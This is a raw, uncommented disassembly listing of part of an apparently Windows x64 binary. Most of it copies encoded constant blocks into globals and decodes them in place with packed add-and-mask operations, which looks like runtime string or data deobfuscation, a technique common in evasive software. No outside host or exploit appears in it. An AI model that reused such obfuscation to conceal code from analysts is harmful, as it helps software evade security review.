movdqa xmm5, xmmword [rsp + 0x100]
mov dword [0x1400a92a0], eax
movaps xmmword [0x1400a9290], xmm5
call fcn.140001335
cmp byte [0x1400a92a4], 0
je 0x1400758e3
movdqa xmm0, xmmword [0x14007d420]
movdqa xmm1, xmmword [0x1400a9280]
mov byte [0x1400a92a4], 0
movdqa xmm2, xmmword [0x14007d080]
movd xmm3, dword [0x14007d080]
paddw xmm1, xmm0
paddw xmm0, xmmword [0x1400a9290]
pand xmm1, xmm2
pand xmm0, xmm2
movaps xmmword [0x1400a9280], xmm1
movd xmm1, dword [0x14007d420]
movaps xmmword [0x1400a9290], xmm0
movd xmm0, dword [0x1400a92a0]
paddw xmm0, xmm1
pand xmm0, xmm3
movd dword [0x1400a92a0], xmm0
cmp byte [0x1400a92a8], 0
jne 0x14007591e
mov rax, qword [0x14007d430]
lea rcx, [0x140001460]
mov byte [0x1400a92bc], 1
mov dword [0x1400a92b8], 0x6700a4
mov qword [0x1400a92b0], rax
mov byte [0x1400a92a8], 1
call fcn.140001335
cmp byte [0x1400a92bc], 0
je 0x14007597e
movq xmm0, qword [0x1400a92b0]
movd xmm4, dword [0x14007d080]
mov byte [0x1400a92bc], 0
movq xmm1, qword [0x14007d420]
paddw xmm0, xmm1
movq xmm1, qword [0x14007d080]
pand xmm0, xmm1
movd xmm1, dword [0x14007d420]
movq qword [0x1400a92b0], xmm0
movd xmm0, dword [0x1400a92b8]
paddw xmm0, xmm1
pand xmm0, xmm4
movd dword [0x1400a92b8], xmm0
mov rcx, qword [rsp + 0x58]
lea rdx, [0x1400a92b0]
call fcn.140002c20
mov rdx, rax
lea r8, [0x1400a9280]
mov rcx, r12
call fcn.140002bf0
cmp byte [0x1400a9250], 0
je 0x140076294
cmp byte [0x1400a925a], 0
je 0x1400759d4
movzx eax, word [0x1400a9258]
mov byte [0x1400a925a], 0
sub ax, 0x2c63
and ax, 0xff
mov word [0x1400a9258], ax
mov edx, dword [0x1400785d4]
lea r9, [0x1400a9258]
mov r8, r12
lea rcx, section..data
call fcn.140002fa0
movdqa xmm0, xmmword [0x14007d440]
mov rax, qword [0x14007d4c0]
mov edx, 0xa5
cmp byte [0x1400a91a8], 0
mov word [rsp + 0x178], dx
movaps xmmword [rsp + 0xf0], xmm0
movdqa xmm0, xmmword [0x14007d450]
mov qword [rsp + 0x170], rax
movaps xmmword [rsp + 0x100], xmm0
movdqa xmm0, xmmword [0x14007d460]
movaps xmmword [rsp + 0x110], xmm0
movdqa xmm0, xmmword [0x14007d470]
movaps xmmword [rsp + 0x120], xmm0
movdqa xmm0, xmmword [0x14007d480]
movaps xmmword [rsp + 0x130], xmm0
movdqa xmm0, xmmword [0x14007d490]
movaps xmmword [rsp + 0x140], xmm0
movdqa xmm0, xmmword [0x14007d4a0]
movaps xmmword [rsp + 0x150], xmm0
movdqa xmm0, xmmword [0x14007d4b0]
movaps xmmword [rsp + 0x160], xmm0
jne 0x140075b43
movdqa xmm5, xmmword [rsp + 0xf0]
lea rcx, [0x140001490]
movdqa xmm3, xmmword [rsp + 0x100]
mov byte [0x1400a924a], 1
movdqa xmm4, xmmword [rsp + 0x110]
mov byte [0x1400a91a8], 1
movaps xmmword [0x1400a91c0], xmm5
movdqa xmm5, xmmword [rsp + 0x120]
movaps xmmword [0x1400a91d0], xmm3
movdqa xmm3, xmmword [rsp + 0x130]
movaps xmmword [0x1400a91e0], xmm4
movdqa xmm4, xmmword [rsp + 0x140]
movaps xmmword [0x1400a91f0], xmm5
movdqa xmm5, xmmword [rsp + 0x150]
movaps xmmword [0x1400a9200], xmm3
movdqa xmm3, xmmword [rsp + 0x160]
movaps xmmword [0x1400a9210], xmm4
movdqu xmm4, xmmword [rsp + 0x16a]
movaps xmmword [0x1400a9230], xmm3
movaps xmmword [0x1400a9220], xmm5
movups xmmword [0x1400a923a], xmm4
call fcn.140001335
cmp byte [0x1400a924a], 0
je 0x140075c59
movdqa xmm0, xmmword [0x14007d4d0]
movdqa xmm2, xmmword [0x1400a91c0]
mov byte [0x1400a924a], 0
movdqa xmm1, xmmword [0x14007d080]
movzx eax, word [0x1400a9248]
paddw xmm2, xmm0
pand xmm2, xmm1
sub ax, 0x2ea5
movaps xmmword [0x1400a91c0], xmm2
movdqa xmm2, xmmword [0x1400a91d0]
and ax, 0xff
mov word [0x1400a9248], ax
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a91d0], xmm2
movdqa xmm2, xmmword [0x1400a91e0]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a91e0], xmm2
movdqa xmm2, xmmword [0x1400a91f0]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a91f0], xmm2
movdqa xmm2, xmmword [0x1400a9200]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9200], xmm2
movdqa xmm2, xmmword [0x1400a9210]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9210], xmm2
movdqa xmm2, xmmword [0x1400a9220]
paddw xmm2, xmm0
paddw xmm0, xmmword [0x1400a9230]
pand xmm2, xmm1
pand xmm0, xmm1
movaps xmmword [0x1400a9220], xmm2
movq xmm1, qword [0x14007d4d0]
movaps xmmword [0x1400a9230], xmm0
movq xmm0, qword [0x1400a9240]
paddw xmm0, xmm1
movq xmm1, qword [0x14007d080]
pand xmm0, xmm1
movq qword [0x1400a9240], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], r12
lea r9, [0x1400a91c0]
mov ecx, 1
mov rdx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r8, rax
call fcn.1400027e0
mov rcx, r12
call fcn.140003510
test sil, sil
jne 0x140076257
movdqa xmm0, xmmword [0x14007d4e0]
cmp byte [0x1400a9050], 0
lea rbx, [0x1400a9060]
movaps xmmword [rsp + 0xff0], xmm0
movdqa xmm0, xmmword [0x14007d4f0]
movaps xmmword [rsp + 0x1000], xmm0
movdqa xmm0, xmmword [0x14007d500]
movaps xmmword [rsp + 0x1010], xmm0
movdqa xmm0, xmmword [0x14007d510]
movaps xmmword [rsp + 0x1020], xmm0
movdqa xmm0, xmmword [0x14007d520]
movaps xmmword [rsp + 0x1030], xmm0
jne 0x140075d51
movdqa xmm4, xmmword [r12]
movdqa xmm5, xmmword [r12 + 0x10]
lea rcx, [0x1400014b0]
mov byte [0x1400a90b0], 1
movdqa xmm3, xmmword [r12 + 0x20]
mov byte [0x1400a9050], 1
movaps xmmword [0x1400a9060], xmm4
movdqa xmm4, xmmword [r12 + 0x30]
movaps xmmword [0x1400a9070], xmm5
movdqa xmm5, xmmword [r12 + 0x40]
movaps xmmword [0x1400a9080], xmm3
movaps xmmword [0x1400a9090], xmm4
movaps xmmword [0x1400a90a0], xmm5
call fcn.140001335
cmp byte [0x1400a90b0], 0
je 0x140075dd8
movdqa xmm0, xmmword [0x14007d620]
movdqa xmm2, xmmword [rbx]
mov byte [0x1400a90b0], 0
movdqa xmm1, xmmword [0x14007d080]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [rbx], xmm2
movdqa xmm2, xmmword [0x1400a9070]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9070], xmm2
movdqa xmm2, xmmword [0x1400a9080]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9080], xmm2
movdqa xmm2, xmmword [0x1400a9090]
paddw xmm2, xmm0
paddw xmm0, xmmword [0x1400a90a0]
pand xmm2, xmm1
pand xmm0, xmm1
movaps xmmword [0x1400a9090], xmm2
movaps xmmword [0x1400a90a0], xmm0
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
lea r9, [0x1400a9060]
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov r8, rax
call fcn.1400027e0
jmp 0x1400756bb
xor edi, edi
jmp 0x1400754e2
mov rcx, rsi
call fcn.1400217c0
mov rax, qword [rsi]
lea rcx, [0x140021a90]
mov edx, 0xa
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x1400750d2
mov rcx, rsi
call rax
movsx edx, al
jmp 0x1400750d2
movdqa xmm0, xmmword [0x14007d530]
cmp byte [0x1400a90b8], 0
movaps xmmword [rsp + 0xff0], xmm0
movdqa xmm0, xmmword [0x14007d540]
movaps xmmword [rsp + 0x1000], xmm0
movdqa xmm0, xmmword [0x14007d550]
movaps xmmword [rsp + 0x1010], xmm0
movdqa xmm0, xmmword [0x14007d560]
movaps xmmword [rsp + 0x1020], xmm0
movdqa xmm0, xmmword [0x14007d570]
movaps xmmword [rsp + 0x1030], xmm0
movdqa xmm0, xmmword [0x14007d580]
movaps xmmword [rsp + 0x1040], xmm0
movdqa xmm0, xmmword [0x14007d590]
movaps xmmword [rsp + 0x1050], xmm0
movdqa xmm0, xmmword [0x14007d5a0]
movaps xmmword [rsp + 0x1060], xmm0
movdqa xmm0, xmmword [0x14007d5b0]
movaps xmmword [rsp + 0x1070], xmm0
movdqa xmm0, xmmword [0x14007d5c0]
movaps xmmword [rsp + 0x1080], xmm0
movdqa xmm0, xmmword [0x14007d5d0]
movaps xmmword [rsp + 0x1090], xmm0
movdqa xmm0, xmmword [0x14007d5e0]
movaps xmmword [rsp + 0x10a0], xmm0
movdqa xmm0, xmmword [0x14007d5f0]
movaps xmmword [rsp + 0x10b0], xmm0
movdqa xmm0, xmmword [0x14007d600]
movaps xmmword [rsp + 0x10c0], xmm0
jne 0x14007601d
movdqa xmm5, xmmword [r12]
movdqa xmm3, xmmword [r12 + 0x10]
lea rcx, [0x1400014a0]
mov byte [0x1400a91a0], 1
movdqa xmm4, xmmword [r12 + 0x20]
mov byte [0x1400a90b8], 1
movaps xmmword [0x1400a90c0], xmm5
movdqa xmm5, xmmword [r12 + 0x30]
movaps xmmword [0x1400a90d0], xmm3
movdqa xmm3, xmmword [r12 + 0x40]
movaps xmmword [0x1400a90e0], xmm4
movdqa xmm4, xmmword [r12 + 0x50]
movaps xmmword [0x1400a90f0], xmm5
movdqa xmm5, xmmword [r12 + 0x60]
movaps xmmword [0x1400a9100], xmm3
movdqa xmm3, xmmword [r12 + 0x70]
movaps xmmword [0x1400a9110], xmm4
movdqa xmm4, xmmword [r12 + 0x80]
movaps xmmword [0x1400a9120], xmm5
movdqa xmm5, xmmword [r12 + 0x90]
movaps xmmword [0x1400a9130], xmm3
movdqa xmm3, xmmword [r12 + 0xa0]
movaps xmmword [0x1400a9140], xmm4
movdqa xmm4, xmmword [r12 + 0xb0]
movaps xmmword [0x1400a9150], xmm5
movdqa xmm5, xmmword [r12 + 0xc0]
movaps xmmword [0x1400a9160], xmm3
movdqa xmm3, xmmword [r12 + 0xd0]
movaps xmmword [0x1400a9170], xmm4
movaps xmmword [0x1400a9180], xmm5
movaps xmmword [0x1400a9190], xmm3
call fcn.140001335
cmp byte [0x1400a91a0], 0
je 0x14007617f
movdqa xmm0, xmmword [0x14007d610]
movdqa xmm2, xmmword [0x1400a90c0]
mov byte [0x1400a91a0], 0
movdqa xmm1, xmmword [0x14007d080]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a90c0], xmm2
movdqa xmm2, xmmword [0x1400a90d0]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a90d0], xmm2
movdqa xmm2, xmmword [0x1400a90e0]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a90e0], xmm2
movdqa xmm2, xmmword [0x1400a90f0]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a90f0], xmm2
movdqa xmm2, xmmword [0x1400a9100]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9100], xmm2
movdqa xmm2, xmmword [0x1400a9110]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9110], xmm2
movdqa xmm2, xmmword [0x1400a9120]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9120], xmm2
movdqa xmm2, xmmword [0x1400a9130]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9130], xmm2
movdqa xmm2, xmmword [0x1400a9140]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9140], xmm2
movdqa xmm2, xmmword [0x1400a9150]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9150], xmm2
movdqa xmm2, xmmword [0x1400a9160]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9160], xmm2
movdqa xmm2, xmmword [0x1400a9170]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9170], xmm2
movdqa xmm2, xmmword [0x1400a9180]
paddw xmm2, xmm0
paddw xmm0, xmmword [0x1400a9190]
pand xmm2, xmm1
pand xmm0, xmm1
movaps xmmword [0x1400a9180], xmm2
movaps xmmword [0x1400a9190], xmm0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], r13
lea r9, [0x1400a90c0]
mov ecx, 1
mov rdx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r8, rax
call fcn.1400027e0
test sil, sil
jne 0x140076257
cmp byte [0x1400a9040], 0
jne 0x1400761e9
mov eax, 0x6b
lea rcx, [0x1400014c0]
mov byte [0x1400a904e], 1
mov dword [0x1400a9048], 0xbe0090
mov word [0x1400a904c], ax
mov byte [0x1400a9040], 1
call fcn.140001335
cmp byte [0x1400a904e], 0
je 0x140076237
movd xmm0, dword [0x1400a9048]
movzx eax, word [0x1400a904c]
mov byte [0x1400a904e], 0
movd xmm1, dword [0x14007d630]
movd xmm3, dword [0x14007d080]
sub ax, 0xe6b
paddw xmm0, xmm1
and ax, 0xff
mov word [0x1400a904c], ax
pand xmm0, xmm3
movd dword [0x1400a9048], xmm0
mov qword [rsp + 0x20], r13
mov rdx, qword [rsp + 0x40]
mov r8, r13
xor ecx, ecx
lea r9, [0x1400a9048]
call fcn.1400027e0
jmp 0x1400756bb
mov edx, dword [rsp + 0x7c]
mov rcx, qword [rsp + 0x60]
call fcn.1400029c0
mov rdi, qword [rsp + 0x60]
mov r8d, dword [rsp + 0x7c]
mov rcx, r13
mov rdx, rdi
call fcn.1400033f0
mov edx, dword [rsp + 0x7c]
mov rcx, rdi
call fcn.1400029c0
test r14b, r14b
jne 0x140075c92
jmp 0x1400761b0
mov ecx, 0x63
mov byte [0x1400a925a], 1
mov word [0x1400a9258], cx
lea rcx, [0x140001480]
mov byte [0x1400a9250], 1
call fcn.140001335
jmp 0x1400759ae
movdqa xmm0, xmmword [0x14007d290]
movdqa xmm2, xmmword [0x1400a9460]
mov byte [0x1400a94a6], 0
movdqa xmm1, xmmword [0x14007d080]
movzx eax, word [0x1400a94a4]
paddw xmm2, xmm0
movd xmm6, dword [0x14007d080]
pand xmm2, xmm1
add ax, 0x6fb1
movaps xmmword [0x1400a9460], xmm2
movdqa xmm2, xmmword [0x1400a9470]
and ax, 0xff
mov word [0x1400a94a4], ax
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9470], xmm2
movdqa xmm2, xmmword [0x1400a9480]
paddw xmm2, xmm0
paddw xmm0, xmmword [0x1400a9490]
pand xmm2, xmm1
pand xmm0, xmm1
movd xmm1, dword [0x14007d290]
movaps xmmword [0x1400a9480], xmm2
movaps xmmword [0x1400a9490], xmm0
movd xmm0, dword [0x1400a94a0]
paddw xmm0, xmm1
pand xmm0, xmm6
movd dword [0x1400a94a0], xmm0
jmp 0x140075001
movaps xmm6, xmmword [rsp + 0x1200]
xor eax, eax
movaps xmm7, xmmword [rsp + 0x1210]
movaps xmm8, xmmword [rsp + 0x1220]
movaps xmm9, xmmword [rsp + 0x1230]
movaps xmm10, xmmword [rsp + 0x1240]
movaps xmm11, xmmword [rsp + 0x1250]
add rsp, 0x1268
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1400764d0
lea rcx, section..rdata
call fcn.140076640
mov rcx, qword [rsp + 0x38]
mov rbx, rax
call fcn.140066f00
mov rcx, rbx
call fcn.14000a308
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub rsp, 0x28
lea rcx, [0x14007c400]
call fcn.14006d9b0
lea rcx, [0x1400741d0]
add rsp, 0x28
jmp fcn.140001335